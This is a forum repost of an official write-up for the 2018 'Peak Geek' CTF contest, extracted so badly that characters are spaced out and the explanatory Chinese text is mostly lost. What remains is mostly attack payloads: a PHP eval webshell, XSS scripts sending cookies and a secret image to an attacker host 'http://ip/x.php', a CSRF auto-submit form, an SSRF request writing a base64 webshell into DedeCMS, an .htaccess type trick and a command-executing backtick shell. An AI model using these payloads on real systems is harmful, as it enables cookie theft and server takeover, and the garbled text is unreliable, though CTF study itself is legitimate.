[19365] 2018-07-23_“巅峰极客”大赛官方Writeup(上)

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2018-07-23_“巅峰极客”大赛官方Writeup(上)   W r i t e u p i   2 0 1 8 - 0 7 - 2 3 p e n t e s t f i l e / f i l e . p h p m e t i n f o : m e t # * / @ e v a l ( $ _ G E T [ 1 ] ) ; / * r o o t a c l m y s q l
g e t s h e l l f l a g m y s q l o n l i n e m y s q l h e x x s s s e l e c t   0 x 3 c 7 3 6 3 7 2 6 9 7 0 7 4 3 e 6 1 6 c 6 5 7 2 7 4 2 8 3 1 2 9 3 c 2 f 7 3 6 3 7 2 6 9 7 0 7 4 3 e c s r f < h t m l >     < b o d y >     < s c r i p t > h i s t o r y . p u s h S t a t e ( ' ' ,   ' ' ,   ' / ' ) < / s c r i p t >         < f o r m   a c t i o n = " h t t p : / / l o v e . l e m o n / r u n s q l . p h p "   m e t h o d = " P O S T " >             < i n p u t   t y p e = " h i d d e n "   n a m e = " s q l "   v a l u e = " s e l e c t   0 x 3 0 7 8 3 c 7 3 6 3 7 2 6 9 7 0 7 4 2 0 7 3 7 2 6 3 3 d 6 8 7 4 7 4 7 0 3 a 2 f 2 f 6 9 7 0 2 f 7 8 7 3 7 3 2 f 3 1 2 e 6 a 7 3 3 e 3 c 2 f 7 3 6 3 7 2 6 9 7 0 7 4 3 e "   / >         < / f o r m >
        < s c r i p t > d o c u m e n t . f o r m s [ 0 ] . s u b m i t ( ) ; < / s c r i p t >     < / b o d y > < / h t m l > j s : s e l f . l o c a t i o n   =   ' h t t p : / / i p / x . p h p v = a a a ' + b t o a ( d o c u m e n t . c o o k i e ) + ' a a a ' ; 1 2 7 . 0 . 0 . 1 访 : h t t p : / / l o v e . l e m o n / a d m i n _ z z z z 6 6 6 . p h p 1 2 7 . 0 . 0 . 1 访 c s r f   h t m l < h t m l >     < b o d y >     < s c r i p t > h i s t o r y . p u s h S t a t e ( ' ' ,   ' ' ,   ' / ' ) < / s c r i p t >         < f o r m   a c t i o n = " h t t p : / / 1 2 7 . 0 . 0 . 1 / r u n s q l . p h p "   m e t h o d = " P O S T " >             < i n p u t   t y p e = " h i d d e n "   n a m e = " s q l "   v a l u e = " s e l e c t   0 x 3 0 7 8 3 c 7 3 6 3 7 2 6 9 7 0 7 4 2 0 7 3 7 2 6 3 3 d 6 8 7 4 7 4 7 0 3 a 2 f 2 f 6 9 7 0 2 f 7 8 7 3 7 3 2 f 3 1 2 e 6 a 7 3 3 e 3 c 2 f 7 3 6 3 7 2 6 9 7 0 7 4 3 e "   / >         < / f o r m >         < s c r i p t > d o c u m e n t . f o r m s [ 0 ] . s u b m i t ( ) ; < / s c r i p t >     < / b o d y > < / h t m l > 便 c o o k i e
. / s t a t i c / i m g / i a m s e c r e t _ 5 5 5 . j p g 访 4 0 3 x s s f l a g v a r   l o v e = { a j a x : f u n c t i o n ( ) { v a r   a ; t r y { a = n e w   X M L H t t p R e q u e s t ( ) } c a t c h ( e ) { t r y { a = n e w   A c t i v e X O b j e c t ( " M s x m l 2 . X M L H T T P " ) } c a t c h ( e ) { t r y { a = n e w A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) } c a t c h ( e ) { r e t u r n   f a l s e } } } r e t u r n   a } , r e q : f u n c t i o n ( b , c , d , e ) { d = ( d | | " " ) . t o U p p e r C a s e ( ) ; d = d | | " G E T " ; c = c | | " " ; i f ( b ) { v a r a = t h i s . a j a x ( ) ; a . o p e n ( d , b , t r u e ) ; i f ( d = = " P O S T " ) { a . s e t R e q u e s t H e a d e r ( " C o n t e n t - t y p e " , " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) } a . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) { i f ( a . r e a d y S t a t e = = 4 ) { i f ( e ) { e ( a ) } } } ; i f ( ( t y p e o f   c ) = = " o b j e c t " ) { v a r   f = [ ] ; f o r ( v a r   i   i n   c ) { f . p u s h ( i + " = " + e n c o d e U R I C o m p o n e n t ( c [ i ] ) ) } a . s e n d ( f . j o i n ( " & " ) ) } e l s e { a . s e n d ( c | | n u l l ) } } } , g e t : f u n c t i o n ( a , b ) { t h i s . r e q ( a , " " , " G E T " , b ) } , p o s t : f u n c t i o n ( a , b , c ) { t h i s . r e q ( a , b , " P O S T " , c ) } } ; f u n c t i o n   g e t B a s e 6 4 ( i m g ) {         f u n c t i o n   g e t B a s e 6 4 I m a g e ( i m g , w i d t h , h e i g h t )   { / / w i d t h h e i g h t   ,                 v a r   c a n v a s   =   d o c u m e n t . c r e a t e E l e m e n t ( " c a n v a s " ) ;                 c a n v a s . w i d t h   =   w i d t h   ?   w i d t h   :   i m g . w i d t h ;                 c a n v a s . h e i g h t   =   h e i g h t   ?   h e i g h t   :   i m g . h e i g h t ;                 v a r   c t x   =   c a n v a s . g e t C o n t e x t ( " 2 d " ) ;                 c t x . d r a w I m a g e ( i m g ,   0 ,   0 ,   c a n v a s . w i d t h ,   c a n v a s . h e i g h t ) ;                 v a r   d a t a U R L   =   c a n v a s . t o D a t a U R L ( ) ;                 r e t u r n   d a t a U R L ;         }         v a r   i m a g e   =   n e w   I m a g e ( ) ;         i m a g e . c r o s s O r i g i n   =   ' ' ;         i m a g e . s r c   =   i m g ;         r e t u r n   n e w   P r o m i s e ( ( r e s o l v e , r e j e c t ) = > {                 i m a g e . o n l o a d   = f u n c t i o n   ( ) {                         r e s o l v e ( g e t B a s e 6 4 I m a g e ( i m a g e ) ) ; / / b a s e 6 4 d o n e                 }         } ) ;
} g e t B a s e 6 4 ( ' h t t p : / / 1 2 7 . 0 . 0 . 1 / s t a t i c / i m g / i a m s e c r e t _ 5 5 5 . j p g ' ) . t h e n ( b a s e 6 4   = >   {         l o v e . p o s t (             " h t t p : / / i p / x s s / x . p h p " ,             " v = " + b a s e 6 4 ,             f u n c t i o n ( r e s ) {                 c o n s o l e . l o g ( r e s ) ;             }         ) ; } ,   e r r   = >   {         c o n s o l e . l o g ( e r r ) } ) X . p h p < ? p h p h e a d e r ( ' A c c e s s - C o n t r o l - A l l o w - O r i g i n :   * ' ) ; f i l e _ p u t _ c o n t e n t s ( ' l o g . t x t ' , $ _ P O S T [ ' v ' ] ) ; +
d e d e F u n : s h e l l 1 . p h p < ? p h p i f   ( $ _ S E R V E R [ ' R E M O T E _ A D D R ' ]   ! = =   ' 1 2 7 . 0 . 0 . 1 ' )   {         d i e ( ' W h o   a r e   y o u ?   y o u r   i p   i s : ' . $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ) ; } $ _ G E T [ ' a ' ] ( $ _ G E T [ ' b ' ] ) ; ? > s s r f 便 d e d e c m s h t t p s s r f p h p s h e l l P O S T   / t a g s . p h p   H T T P / 1 . 1 H o s t :   l o v e . l e m o n C a c h e - C o n t r o l :   m a x - a g e = 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 3 _ 1 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 7 . 0 . 3 3 9 6 . 9 9   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 , e n ; q = 0 . 8 , z h - T W ; q = 0 . 7 , j a ; q = 0 . 6 C o o k i e :   Y D A L _ 2 1 3 2 _ s a l t k e y = u m J C W a o K ;   Y D A L _ 2 1 3 2 _ l a s t v i s i t = 1 5 3 1 2 3 1 7 0 7 ; Y D A L _ 2 1 3 2 _ u l a s t a c t i v i t y = 8 d 9 f f h % 2 B i V U v L i W x F V m A l t T K P H q 5 V 9 h U J 5 P v D a 4 s 8 4 r 5 5 3 K M h D Z M x ; Y D A L _ 2 1 3 2 _ a u t h = a 0 1 7 j 1 p f 9 q M N % 2 F 5 P a 1 g 7 C 6 k y v 3 i k 6 f % 2 B 7 e q t p p I 5 c 6 s S W z I 0 g g Q U 5 w S k R N D o X u X q v S S M n I % 2 B N 3 O b x E M n 7 j a a N J W ;   Y D A L _ 2 1 3 2 _ n o f a v f i d = 1 ; Y D A L _ 2 1 3 2 _ l i p = 1 0 . 2 1 1 . 5 5 . 2 % 2 C 1 5 3 1 2 3 7 0 9 2 ;   Y D A L _ 2 1 3 2 _ h o m e _ d i y m o d e = 1 C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   2 5 1 d o p o s t = s a v e & _ F I L E S [ l s a ] [ t m p _ n a m e ] = h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? a = a s s e r t % 2 6 b = f i l e _ p u t _ c o n t e n t s ( $ _ G E T [ 1 ] , b a s e 6 4 _ d e c o d e ( $ _ G E T [ 2 ] ) ) ; % 2 6 1 = . / u p l o a d s / s o f t / a a a a . p h p % 2 6 2 = P D 9 w a H A g c G h w a W 5 m b y g p O y A / P g = = & _ F I L E S [ l s a ] [ n a m e ] = 0 & _ F I L E S [ l s a ] [ s i z e ] = 0 & _ F I L E S [ l s a ] [ t y p e ] = i m a g e / g i f g e t i m a g e s i z e
b a b y w e b : B a b y W e b @ m y . l o l b a b y w e b @ 1 9 9 0 t o p 1 0 0 m y s q l 1 q 2 w 3 e 4 r 5 t 6 y r o o t b a b y w e b
t y p e j s o n { " 0 " : " p n g " , " 1 " : " g i f " , " 2 " : " j p g " , " 3 " : " x x x " , " 5 " : " h t a c c e s s " } h t a c c e s s A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . x x x p h p _ f l a g   e n g i n e   1 f i l e 访 . . / i m g / n a m e . x x x s h e l l A   S i m p l e   C M S t h i n k p h p g e t s h e l l w w w . z i p / *     * / i f ( e m p t y ( $ l i s t ) ) {         $ l i s t   =   S ( ' s y s _ u s e r _ n i c k n a m e _ l i s t ' ) ;
} O K % 0 a @ ` $ _ G E T [ c ] ` ; / / s h e l l h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 9 7 / R u n t i m e / T e m p / o n e t h i n k _ 6 d 1 1 f 0 b e 3 a f 9 c 2 8 d 4 1 2 0 c 8 f d 5 f e 6 5 a 4 0 . p h p h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 9 7 / R u n t i m e / T e m p / o n e t h i n k _ 6 d 1 1 f 0 b e 3 a f 9 c 2 8 d 4 1 2 0 c 8 f d 5 f e 6 5 a 4 0 . p h p ? c = c a t   / f l a g > / t m p / f l a g
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则